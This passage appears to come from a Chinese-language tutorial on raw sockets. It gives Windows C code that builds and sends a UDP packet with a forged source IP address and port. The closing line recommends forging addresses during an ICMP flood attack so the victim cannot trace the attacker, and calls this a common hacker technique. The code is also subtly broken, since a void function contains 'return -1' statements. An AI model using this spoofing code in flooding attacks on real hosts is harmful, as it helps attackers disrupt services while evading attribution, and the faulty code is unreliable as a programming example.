由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。
void sendPesuoIpUDP(void)
{
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
printf("WSAStartup() failed: %d ", GetLastError());
return;
}
SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket
if (s == INVALID_SOCKET)
{
printf("WSASocket() failed: %d ", WSAGetLastError());
return - 1;
}
BOOL bOpt = TRUE;
int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt));
// 使用IP_HDRINCL
if (ret == SOCKET_ERROR)
{
printf("setsockopt(IP_HDRINCL) failed: %d ", WSAGetLastError());
return - 1;
}
const int BUFFER_SIZE = 80;
char buffer[BUFFER_SIZE];
const char *strMessage = "treat demo"; // Message to send
// Set IP header
IP_HDR ipHdr;
UDP_HDR udpHdr;
const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
const unsigned short iIPVersion = 4;
ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
ipHdr.ip_tos = 0; // IP type of service
const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage);
ipHdr.ip_totallength = htons(iTotalSize); // Total packet len
ipHdr.ip_id = 0; // Unique identifier: set to 0
ipHdr.ip_offset = 0; // Fragment offset field
ipHdr.ip_ttl = 128; // Time to live
ipHdr.ip_protocol = 0x11; // Protocol(UDP)
ipHdr.ip_checksum = 0; // IP checksum
const char *target_ip_address = "192.168.0.102";
const char *treat_ip_address = "1.0.5.7";
ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址
ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 发送方伪造的IP地址
// Set UDP header
const u_short uToPort = 8000;
udpHdr.dst_portno = htons(uToPort); // 接收方端口
const u_short uFromPort = 1000;
udpHdr.src_portno = htons(uFromPort); // 发送伪造的端口
const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage);
udpHdr.udp_length = htons(iUdpSize);
udpHdr.udp_checksum = 0;
// 组建待发送的UDP报文
ZeroMemory(buffer, BUFFER_SIZE);
char *ptr = buffer;
memcpy(ptr, &ipHdr, sizeof(ipHdr));
ptr += sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, strlen(strMessage));
// Apparently, this SOCKADDR_IN structure makes no difference.
// Whatever we put as the destination IP addr in the IP header is what goes.
// Specifying a different destination in remote will be ignored.
sockaddr_in remote;
remote.sin_family = AF_INET;
remote.sin_port = htons(8000);
remote.sin_addr.s_addr = inet_addr("192.168.0.102");
printf("TO %s:%d ", target_ip_address, uToPort);
ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote));
// 发送伪造的报文
if (ret == SOCKET_ERROR)
{
printf("sendto() failed: %d ", WSAGetLastError());
}
else
printf("sent %d bytes ", ret);
closesocket(s);
WSACleanup();
return;
}
如果我们在第4节描述的ICMP FLOOD攻击中伪造IP地址,则对方将无法检测出究竟是谁在对其进行攻击,实际上,这也是一种非常常用的黑客攻击中隐藏自身的途径。